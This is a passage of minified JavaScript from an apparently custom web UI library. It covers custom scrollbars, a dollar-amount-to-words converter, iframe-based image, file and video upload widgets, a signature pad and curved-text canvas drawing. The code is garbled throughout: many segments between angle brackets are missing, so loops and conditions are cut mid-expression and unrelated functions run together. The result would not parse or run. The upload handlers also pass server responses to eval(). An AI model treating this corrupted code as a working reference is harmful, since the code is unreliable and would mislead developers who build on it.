i=0;i=mht)?mht:(hc.pt*1+difx*1))+'px';d.d.obj.scrollTop=Math.round((d.d.obj.scrollHeight-d.d.offsetHeight-20)/(d.d.shd.offsetHeight-d.d.shdd.offsetHeight)*hc.mele.offsetTop);d.d.shd.mscroll();};if(sh==0){sd.style.display='none';};var sdd=Mrlce('div');d.appendChild(sdd);Mrlab4(sdd);sdd.style.bottom='0px';sdd.style.height='8px';sdd.style.left='0px';sdd.style.width='100%';var sd=Mrlce('div');sdd.appendChild(sd);sd.mscroll=function(){};sd.style.backgroundColor='#ddd';sd.style.marginRight='9px';sd.style.zIndex='16777260';sd.style.height='8px';sd.style.left='0px';sd.style.borderRadius='100px';sd.style.position='relative';sd.style.boxShadow='rgba(0,0,0,0.1) 0px 0px 5px 0px inset';obj.mswd=sd;var dd=Mrlce('div');obj.mswdd=dd;sd.appendChild(dd);dd.style.zIndex='16777261';dd.style.height='8px';dd.style.width='20%';dd.style.boxShadow='rgba(0,0,0,0.35) 0px 0px 5px 0px inset';dd.style.borderRadius='100px';dd.style.backgroundColor='#ccc';Mrlab4(dd,0,0);dd.d=d;sd.d=d;d.swdd=dd;d.swd=sd;msetdrag(dd);dd.mmove=function(){var d=this;var hc=d.hc;var difx=(hc.cx-hc.prx);var dify=(hc.cy-hc.pry);var ds=d.mdrag_scale;if(d.mskeys[1]||d.mmustgrid){difx=parseInt(difx/ds)*ds;dify=parseInt(dify/ds)*ds;};mpar=d.parentNode;var mwd=mpar.offsetWidth-d.offsetWidth;hc.mele.style.left=((hc.pl*1+dify*1)<=0)?0:(((hc.pl*1+dify*1)>=mwd)?mwd:(hc.pl*1+dify*1))+'px';var d=d.d;var swd=d.swd;var swdd=d.swdd;var obj=d.obj;obj.scrollLeft=Math.round((obj.scrollWidth-d.offsetWidth)/(swd.offsetWidth-swdd.offsetWidth)*hc.mele.offsetLeft);swd.mscroll();};if(sw==0){sd.style.display='none';};obj.onscroll=function(){var obj=this;var d=obj.msbd;var shd=d.shd;var shdd=d.shdd;shdd.style.top=Math.round(Math.round(obj.scrollTop)/(obj.scrollHeight-d.offsetHeight-20)*(shd.offsetHeight-shdd.offsetHeight))+'px';var swd=d.swd;var swdd=d.swdd;swdd.style.left=Math.round(Math.round(obj.scrollLeft)/(obj.scrollWidth-d.offsetWidth)*(swd.offsetWidth-swdd.offsetWidth))+'px';shd.mscroll();swd.mscroll();};return d;};mAmtInEng=function(mamtineng_amt,mamtineng_upp){var amt=mamtineng_amt;var amt=amt.toString().replace(/,/g,'')||0;var amt=amt*1;var amt=Math.round(amt*100,2)/100;var amt=amt.toString().toUpperCase();if(amt*1>=1000000000000000){return 'NA'};var upp=mamtineng_upp||0;var tt='Zero Dollar Only';if(amt*1==0){if(upp==0){var tt=tt.toLowerCase();return tt.substring(0,1).toUpperCase()+tt.substring(1)}else if(upp==1){return tt.toUpperCase()}else{return tt};};var tt='';var hds=['Trillion','Billion','Million','Thousand','Dollar'];var ott=['','One','Two','Three','Four','Five','Six','Seven','Eight','Nine','Ten','Eleven','Twelve','Thirteen','Fourteen','Fifteen','Sixteen','Seventeen','Eighteen','Nineteen'];var oty=['','Ten','Twenty','Thirty','Forty','Fifty','Sixty','Seventy','Eighty','Ninety'];var hm=new Array();for(var q=0;q<10;q++){for(var i=0;i<10;i++){var p=q*10+i*1;if(ott[p]===undefined){hm[p]=oty[q]+((oty[q]==''||ott[i]=='')?'':'-')+ott[i]}else{hm[p]=ott[p]}}};var othid=function(othid_amt,othid_ord){var amt=othid_amt||0;var n=othid_ord||0;if((amt*1)==0){return ''};var hs=amt.substring(0,1)*1;var val=(hm[hs]=='')?'':((hs==1)?hm[hs]+' Hundred'+(hm[amt.substring(1)*1]==''?'':' And '):hm[hs]+' Hundreds'+(hm[amt.substring(1)*1]==''?'':' And '));val+=hm[amt.substring(1)*1];if(amt*1==0){}else if(amt*1==1){val+=' '+hds[n];}else{val+=' '+hds[n]+'s';};othid_ord;return val;};var cts='';var amts=new Array();if(parseInt(amt*1)!=amt*1){var ct=amt*1-parseInt(amt*1);ct=Math.round(ct*100);var cts='And '+hm[ct]+((ct==1)?' Cent':' Cents')};var amt=parseInt(amt*1).toString().toUpperCase();var zros='00000000000000000000000000000000000000000000000000000000000000000000000';var amt=zros+''+amt;var amt=amt.substring(amt.length-15);var n=(0-1);var chka=0;for(var i=0;i=1){var dat=mtrans(dat);var dat=dat.slice(dat.length-1)[0];}else{dat=new Array();};return dat;};msort=function(msort_dat,msort_ord){var dat=msort_dat;var ord=msort_ord;if(!dat||!ord){return dat};if(dat.length==0){return dat};for(var i=0;i";var ty=obj.getElementsByTagName('input')[0].parentNode.parentNode.parentNode;for(var i=0;ty.childNodes.length!=0;i=0){ty.removeChild(ty.childNodes[0]);};var hts=mtblsplit_hts;var wds=mtblsplit_wds;var ags=mtblsplit_ags;var vags=mtblsplit_vags;var d=new Array();for(var i=0;i_b)?_b:_a)));var pths=npth.split('/').slice(3);var dmn=npth.split('/').slice(2)[0];pths[pths.length-1]=(pths[pths.length-1]==''?'index':pths[pths.length-1]);var tpth=pths[pths.length-1];pths[pths.length-1]=((tpth.lastIndexOf('.')===(0-1))?tpth:tpth.substring(0,tpth.lastIndexOf('.')));var cloc=pths.join('/').toString().toUpperCase();var args=new Array();if(pth!==npth){var argtt=pth.substring(npth.length*1+1*1);var aargs=argtt.split('&');for(var i=0;i','>'],[' ',' ']];var a=0;var b=1;for(var i=0;i','>'],[' ',' ']];var a=1;var b=0;for(var i=0;i40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';imd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.LEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;var cwd=im.width;var cht=im.height;var nht=imd.mht;var nwd=imd.mwd;var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);imd.style.display='block';d.mif.style.display='none';};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/MRL/img/loading1.gif';imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mico','im/'+dat+divi+cpht+divi+cpwd);a.d=d;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/im/'+dat;imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.LEditYN=yn;};d.LEditYN='Y';return dd;};mupimg=function(mupimg_pth,mupimg_ht,mupimg_wd){var pth=mupimg_pth||'/MRL/img/camera_black.png';var ht=mupimg_ht||768;var wd=mupimg_wd||1024;var cpht=ht;var cpwd=wd;var dd=Mrlce('div');Mrlab4(dd,null,null,'100%','100%',1);Mrlmp(dd,'0px','0px');var d=mupfiletoim();d.cpht=cpht;d.cpwd=cpwd;Mrlab4(d,null,null,'100%','100%',1);dd.d=d;dd.appendChild(d);var imd=Mrlce('div');imd.d=d;d.dd=dd;imd.dd=dd;d.appendChild(imd);Mrlab4(imd,null,null,'100%','100%',1);Mrlab4(imd,0,0,'100%','100%',0);imd.style.display='none';d.mimd=imd;var im=Mrlce('img');imd.im=im;im.imd=imd;imd.appendChild(im);imd.mht=ht;imd.mwd=wd;imd.style.borderRadius='3px';imd.style.overflow='hidden';im.src=pth||'';im.mdefpth=pth;Mrlab4(im,null,null,null,null);im.style.display='inline-block';im.style.cursor='pointer';msa(im,'onclick','var im=this;if(im.src.toString().toUpperCase().indexOf(im.mdefpth.toString().toUpperCase())!=(0-1)){im.imd.dd.ed.onclick();return 0};var obj=window.open(im.src)');var edht=((parseInt(ht*0.05)<20)?20:((parseInt(ht*0.05)>40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';imd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.LEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};im.onerror=function(){im.src='/MRL/img/icon/unknown.png';};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;var minside=1;var cwd=im.width;var cht=im.height;var nht=imd.dd.offsetHeight;var nwd=imd.dd.offsetWidth;if(minside==1){var rat=(((cht/nht)<(cwd/nwd))?(cwd/nwd):(cht/nht));}else{var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));};var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);imd.style.display='block';d.mif.style.display='none';};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/MRL/img/loading1.gif';imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mipic','im/'+dat+divi+cpht+divi+cpwd);a.d=d;a.dat=dat;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/im/'+a.dat;imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.LEditYN=yn;};d.LEditYN='Y';setTimeout('Mrlgei("'+d.id.replace(/\"/g,'\"')+'").mimd.im.onload()',100);return dd;};mupfil=function(mupfil_pth,mupfil_ht,mupfil_wd){var pth=mupfil_pth||'/MRL/img/upl_black.png';var ht=mupfil_ht||768;var wd=mupfil_wd||1024;var cpht=ht;var cpwd=wd;var dd=Mrlce('div');Mrlab4(dd,null,null,'100%','100%',1);Mrlmp(dd,'0px','0px');var d=mupfileorimgtoim();d.cpht=cpht;d.cpwd=cpwd;Mrlab4(d,null,null,'100%','100%',1);dd.d=d;dd.appendChild(d);var imd=Mrlce('div');imd.d=d;d.dd=dd;imd.dd=dd;d.appendChild(imd);Mrlab4(imd,null,null,'100%','100%',1);Mrlab4(imd,0,0,'100%','100%',0);imd.style.display='none';d.mimd=imd;var im=Mrlce('img');imd.im=im;im.imd=imd;imd.appendChild(im);imd.mht=ht;imd.mwd=wd;imd.style.borderRadius='3px';imd.style.overflow='hidden';im.src=pth||'';im.mdefpth=pth;Mrlab4(im,null,null,null,null);im.style.display='inline-block';im.style.cursor='pointer';msa(im,'onclick','var im=this;if(im.src.toString().toUpperCase().indexOf(im.mdefpth.toString().toUpperCase())!=(0-1)){im.imd.dd.ed.onclick();return 0};var obj=window.open(im.mpth)');var edht=((parseInt(ht*0.05)<15)?15:((parseInt(ht*0.05)>40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';imd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.LEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};var cl=Mrlce('img');dd.cl=cl;Mrlab4(cl,null,null,edht/1.5,edht/1.5);cl.style.right=edtp+'px';cl.style.bottom=edtp+'px';imd.appendChild(cl);cl.style.border='none';cl.style.backgroundColor='white';cl.style.borderRadius=parseInt(edht*0.15)+'px';cl.style.cursor='pointer';cl.src='/MRL/img/bin_black.png';cl.style.opacity='0.8';cl.dd=dd;cl.onclick=function(){var cl=this;var dd=cl.dd;var d=dd.d;if(d.LEditYN=='N'){malert('Locked');return 0};var im=d.mimd.im;im.src=im.mdefpth;dd.onMrlResult='var dat="";var odat="";';if(dd.onMrlSubmit){dd.onMrlSubmit();};};im.onerror=function(){im.src='/MRL/img/icon/unknown.png';};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;var minside=1;var cwd=im.width;var cht=im.height;var nht=imd.dd.offsetHeight;var nwd=imd.dd.offsetWidth;if(minside==1){var rat=(((cht/nht)<(cwd/nwd))?(cwd/nwd):(cht/nht));}else{var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));};var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);imd.style.display='block';d.mif.style.display='none';};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src='/MRL/img/loading1.gif';imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mipic','im/'+dat+divi+cpht+divi+cpwd);a.d=d;a.dat=dat;a.odat=odat;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.mpth='/im/'+a.dat;var ext=mgetfilext(a.dat);if(ext=='JPG'||ext=='JPEG'||ext=='GIF'||ext=='PNG'||ext=='TIF'||ext=='TIFF'){im.src='/im/'+a.dat;}else{im.src='/MRL/img/icon/'+ext+'_black'+'.png';};imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.LEditYN=yn;};d.LEditYN='Y';setTimeout('Mrlgei("'+d.id.replace(/\"/g,'\"')+'").mimd.im.onload()',100);return dd;};mupvideotoim=function(){var d=Mrlce('div');var mif=Mrlce('iframe');d.appendChild(mif);mif.style.border='none';mif.style.position='relative';mif.style.height='100%';mif.style.width='100%';mif.src='/MRL/upvideotoim.php?r='+parseInt(Math.random()*99999);d.msubmit=function(){var d=this;if(d.onMrlChange){d.onMrlChange();};setTimeout('Mrlgei("'+d.id+'").mupload()',500);};d.mputfunc=function(){var d=this;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mputfunc()',100);return 0};d.mif.contentWindow.document.getElementById('mimg').dd=d;d.mif.contentWindow.document.getElementById('mimg').ddd=d.mif.contentWindow.document.getElementById('mform');d.mif.contentWindow.document.getElementById('MrlResult').value='';d.mif.contentWindow.document.getElementById('mimg').onchange=function(){this.dd.msubmit();this.ddd.submit();};};d.mupload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};var rep=d.mif.contentWindow.document.getElementById('MrlResult').value;if(rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03'))==(0-1)){setTimeout('Mrlgei("'+d.id+'").mupload()',100);return 0};rep=rep.substring(0,rep.indexOf(decodeURI('%07')+decodeURI('%01')+decodeURI('%03')));d.mif.contentWindow.document.getElementById('MrlResult').value='';d.onMrlResult=rep;d.onMrlSubmit();setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.onMrlSubmit=function(){var d=this;alert(this.onMrlResult)};d.mload=function(){var d=this;var mif=d.mif;if(!d.mif.contentWindow){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(!d.mif.contentWindow.document.getElementsByTagName('input')){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};if(d.mif.contentWindow.document.getElementsByTagName('input').length!=1){setTimeout('Mrlgei("'+d.id+'").mload()',100);return 0};setTimeout('Mrlgei("'+d.id+'").mputfunc()',500);};d.mif=mif;var nid='mupfile'+parseInt(Math.random()*99999);for(var i=0;Mrlgei(nid);i=0){var nid='mupfile'+parseInt(Math.random()*99999)};d.id=nid;setTimeout('Mrlgei("'+d.id+'").mload()',0);document.body.appendChild(d);return d;};mupvideo=function(mupvideo_pth,mupvideo_ht,mupvideo_wd){var pth=mupvideo_pth||'/MRL/img/video_black.png';var ht=mupvideo_ht||768;var wd=mupvideo_wd||1024;var cpht=ht;var cpwd=wd;var dd=Mrlce('div');Mrlab4(dd,null,null,'100%','100%',1);Mrlmp(dd,'0px','0px');var d=mupvideotoim();d.cpht=cpht;d.cpwd=cpwd;Mrlab4(d,null,null,'100%','100%',1);dd.d=d;dd.appendChild(d);var imd=Mrlce('div');imd.d=d;d.dd=dd;imd.dd=dd;d.appendChild(imd);Mrlab4(imd,null,null,'100%','100%',1);Mrlab4(imd,0,0,'100%','100%',0);imd.style.display='none';d.mimd=imd;var im=Mrlce('video');imd.im=im;im.imd=imd;msa(im,'preload','metadata');msa(im,'type','video/mp4');imd.appendChild(im);imd.mht=ht;imd.mwd=wd;imd.style.borderRadius='3px';imd.style.overflow='hidden';msa(im,'poster',pth);Mrlab4(im,null,null,null,null);im.style.display='inline-block';im.style.cursor='pointer';msa(im,'onclick','var im=this;if(im.getAttribute("poster")){im.imd.dd.ed.onclick();return 0;};var obj=window.open(im.src)');var edht=((parseInt(ht*0.05)<20)?20:((parseInt(ht*0.05)>40)?40:parseInt(ht*0.05)));var edtp=((parseInt(ht*0.01)<5)?5:((parseInt(ht*0.01)>10)?10:parseInt(ht*0.01)));var ed=Mrlce('img');dd.ed=ed;Mrlab4(ed,edtp,null,edht,edht);ed.style.right=edtp+'px';dd.appendChild(ed);ed.style.border='none';ed.style.backgroundColor='white';ed.style.borderRadius=parseInt(edht*0.15)+'px';ed.style.cursor='pointer';ed.src='/MRL/img/edit_black.png';ed.style.opacity='0.8';ed.dd=dd;ed.onclick=function(){var ed=this;var dd=ed.dd;var d=dd.d;if(d.LEditYN=='N'){return 0};d.mif.contentWindow.document.body.getElementsByTagName('input')[0].click();};im.onload=function(){var im=this;var imd=im.imd;var d=imd.d;imd.style.display='block';d.mif.style.display='none';im.msetcenter(im);};im.msetcenter=function(msetcenter_im){var im=this;var imd=im.imd;var d=imd.d;var im=msetcenter_im;var minside=1;var cwd=im.offsetWidth;var cht=im.offsetHeight;var nht=imd.dd.offsetHeight;var nwd=imd.dd.offsetWidth;if(minside==1){var rat=(((cht/nht)<(cwd/nwd))?(cwd/nwd):(cht/nht));}else{var rat=(((cht/nht)>(cwd/nwd))?(cwd/nwd):(cht/nht));};var ht=parseInt(cht/rat);var wd=parseInt(cwd/rat);var tp=parseInt((nht-ht)/2);var lf=parseInt((nwd-wd)/2);Mrlab4(im,tp,lf,ht,wd);};d.onMrlChange=function(){var d=this;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;msa(im,'poster','/MRL/img/loading1.gif');imd.style.display='block';};d.onMrlSubmit=function(){var d=this;var cpht=d.cpht;var cpwd=d.cpwd;eval(d.onMrlResult);var a=mphp('mipic','vd/'+dat+divi+cpht+divi+cpwd);a.d=d;a.onMrlSubmit=function(){var a=this;var d=a.d;var imd=d.mimd;var dd=d.dd;var im=imd.im;im.style.height='100%';im.style.width=null;im.removeAttribute('poster');im.src='/vd/'+dat;imd.style.display='block';dd.onMrlResult=d.onMrlResult;if(dd.onMrlSubmit){dd.onMrlSubmit()};im.msetcenter(im);};};dd.mblur=function(){var imd=this;var d=imd.dd;if(d.parentNode){d.parentNode.removeChild(d)};};dd.mchimg=function(mchimg_sr){var sr=mchimg_sr;var dd=this;var d=dd.d;var imd=d.mimd;var im=imd.im;im.style.height='100%';im.style.width=null;im.src=sr;imd.style.display='block';};dd.meditYN=function(meditYN_YN){var yn=meditYN_YN||'Y';var yn=yn.toString().toUpperCase();var dd=this;var ed=dd.ed;if(yn=='Y'){ed.style.display='inline-block';}else{ed.style.display='none';var yn='N';};var d=dd.d;d.LEditYN=yn;};d.LEditYN='Y';setTimeout('Mrlgei("'+d.id.replace(/\"/g,'\"')+'").mimd.im.onload()',100);return dd;};msign=function(){var d=Mrlce('div');Mrlab4(d,null,null,'100%','100%',1);Mrlmp(d,'0px','0px');d.style.border='solid 1px #aaa';d.style.borderRadius='8px';d.style.display='block';var sga=Mrlsign();Mrlab4(sga,null,null,'100%','100%',1);d.sga=sga;sga.style.display='block';sga.btnd.style.display='none';sga.style.cursor='pointer';sga.d=d;d.appendChild(sga);sga.mdown=function(){};sga.mup=function(){};sga.redraw=function(msign_redraw_ary){var d=this;var hc=Mrlmid();document.body.appendChild(hc);var sgb=hc;var sga=d;var aht=sga.offsetHeight;var awd=sga.offsetWidth;var ht=window.innerHeight||document.documentElement.clientHeight;var wd=window.innerWidth||document.documentElement.clientWidth;var bht=ht;var bwd=wd;var zm=Math.round((((aht/bht)<(awd/bwd))?(aht/bht):(awd/bwd))*10000)/10000;sga.enl=zm;msa(sga.cv,'height',aht);msa(sga.cv,'width',awd);hc.mblur();var mp=d.mp;var enl=sga.enl;var vals=msign_redraw_ary||d.getData();d.mclear();for(var i=0;iradb)?rada:radb);}else{var rad=((rada=1){tds[i][q].parentNode.removeChild(tds[i][q]);}else{msa(tds[i][q],'colSpan',tds[i].length);};};};};var btns=new Array();var inp=Mrlce('input');Mrlab4(inp,null,null,16,cwd-20-27-10,1);inp.style.display='inline-block';inp.style.backgroundColor='#fff';inp.style.float='left';inp.value=tt;Mrlmp(inp,'0px','2px 5px');inp.dd=dd;btns[btns.length]=inp;inp.style.border='solid 1px #aaa';inp.onfocus=function(){this.select();this.dd.im.inpfoc=1};inp.onblur=function(){this.dd.im.inpfoc=0;if(!this.dd.im.inpfocyn){this.dd.im.mhide()}};inp.mononblur=function(){this.dd.im.inpfoc=0;if(!this.dd.im.inpfocyn){this.dd.im.mhide()};if(this.msel){if(this.msel.parentNode){this.msel.parentNode.removeChild(this.msel)};this.msel=null;};this.onfocus=function(){this.select();this.dd.im.inpfoc=1};};inp.onkeyup=function(){this.monkeyup()};inp.monkeyup=function(){var inp=this;if(inp.dd.im.mtt!=inp.value){inp.dd.im.mtt=inp.value;inp.dd.mredraw();if(inp.dd.im.monmove){inp.dd.im.monmove(1)};};};var cl=Mrlce('div');Mrlab4(cl,null,null,28,28,1);cl.style.display='inline-block';cl.style.cursor='pointer';cl.dd=dd;var ary=[['img/font_black.png',tds[0][0],'this.dd.mfont()',22,22,1],['img/text_normal_black.png',tds[1][1],'this.dd.mnormaltext()',38,38,0],['img/text_arc_black.png',tds[1][2],'this.dd.marctext()',38,38,0],['img/text_invarc_black.png',tds[1][3],'this.dd.minvarctext()',38,38,0],['img/text_wordspace1_black.png?r=1',tds[2][0],'',28,28,0],['img/text_wordspace2_black.png?r=1',tds[2][0],'',28,28,0],['img/text_rad1_black.png?r=2',tds[3][0],'',28,28,0],['img/text_rad2_black.png?r=2',tds[3][0],'',28,28,0]];for(var i=0;i'+tt+''];};inp.mfocus=null;Mrlsel(inp,0,dd.offsetHeight-10);inp.ops=ops;inp.focus();};inp.onMrlSubmit=function(){this.onchange()};inp.onchange=function(){var inp=this;var dd=inp.dd;var im=dd.im;inp.value=im.mtt;if(inp.onMrlResult){im.mft=inp.onMrlResult[0];Mrlft(btns[0],im.mft);btns[0].onfocus=function(){this.select();this.dd.im.inpfoc=1};if(btns[0].msel){if(btns[0].msel.parentNode){btns[0].msel.parentNode.removeChild(btns[0].msel)};btns[0].msel=null;};dd.mchfont();inp.onMrlResult=null;};};dd.mchfont=function(){var dd=this;var im=dd.im;dd.mredraw();};dd.mnormaltext=function(){var dd=this;var im=dd.im;im.mtyp=0;dd.mredraw();if(im.ctrl){im.ctrl.msetpos()};};dd.marctext=function(){var dd=this;var im=dd.im;im.mtyp=1;dd.mredraw();if(im.ctrl){im.ctrl.msetpos()};};dd.minvarctext=function(){var dd=this;var im=dd.im;im.mtyp=2;dd.mredraw();if(im.ctrl){im.ctrl.msetpos()};};dd.mredraw=function(mredraw_chk){var dd=this;var im=dd.im;var zm=im.mzm;var ft=im.mft;var tt=im.mtt;var fz=im.mfz;var mc=im.mc;var fc=im.mfc;var mtyp=im.mtyp;var mxrad=500;var mnrad=10;var ohtwd=[im.offsetTop,im.offsetLeft,im.offsetHeight,im.offsetWidth];if(mtyp==0){var dtd=Mrlce('div');Mrlft(dtd,ft,fz*zm);dtd.innerHTML=tt;document.body.appendChild(dtd);msa(dtd,'nowrap','nowrap');Mrlmp(dtd,null,'0px');dtd.style.whiteSpace='nowrap';dtd.style.display='inline-block';var cht=dtd.offsetHeight;var cwd=dtd.offsetWidth;document.body.removeChild(dtd);var d=Mrlce('canvas');d.style.display='block';msa(d,'height',cht);msa(d,'width',cwd);Mrlab4(d,0,0,cht/zm,cwd/zm);var c2d=d.getContext('2d');c2d.font=(fz*zm)+'px '+ft;c2d.fillStyle=fc;c2d.textBaseline="top";c2d.fillText(tt,0,1);}else if(mtyp==1||mtyp==2){var wds=new Array();var ttlwd=0;var cht=0;var dtd=Mrlce('div');Mrlft(dtd,ft,fz*zm);Mrlmp(dtd,null,'0px');document.body.appendChild(dtd);msa(dtd,'nowrap','nowrap');dtd.style.whiteSpace='nowrap';dtd.style.display='inline-block';for(var i=0;icht)?dtd.offsetHeight:cht);var cwd=dtd.offsetWidth;wds[i]=((i==0)?cwd:cwd-owd);var owd=cwd;};var ttlwd=dtd.offsetWidth;document.body.removeChild(dtd);var mht=cht;var arcr=im.marcrad;var arcs=im.marcspace;var crad=(mxrad-mnrad)*arcr/100*zm;var cir=crad*Math.PI;var spc=(360*arcs)/100;var d=Mrlce('canvas');d.style.display='block';var cwd=crad*1;var clf=0;if((spc/2)<90){var tx=mgetrotxy(0,crad/2,crad/2,crad/2,spc/2);var cwd=(tx[1]-(crad/2))*2;var clf=(cwd-crad)/2;};if(crad!=360){if(!tx){var tx=mgetrotxy(0,crad/2,crad/2,crad/2,spc/2)};if((spc/2)<90){var cht=tx[0]*1+cht*1}else{var cht=tx[0]};}else{var cht=(crad*1);};var cwds=new Array();var pcwd=0;cwds[0]=0;for(var i=0;i<(wds.length-1);i++){cwds[i*1+1*1]=pcwd*1+(wds[i]/2+wds[i*1+1*1]/2)/ttlwd*spc;pcwd=cwds[i*1+1*1]*1;};msa(d,'height',cht);msa(d,'width',cwd);Mrlab4(d,0,0,cht/zm,cwd/zm);var c2d=d.getContext('2d');var pspc=(spc/(tt.length*1));var cspc=(0-pspc);var ctp=0;if(mtyp==1){var srot=(360-(spc/2)*1+((wds[0]/ttlwd)*spc/2))%360;}else if(mtyp==2){var 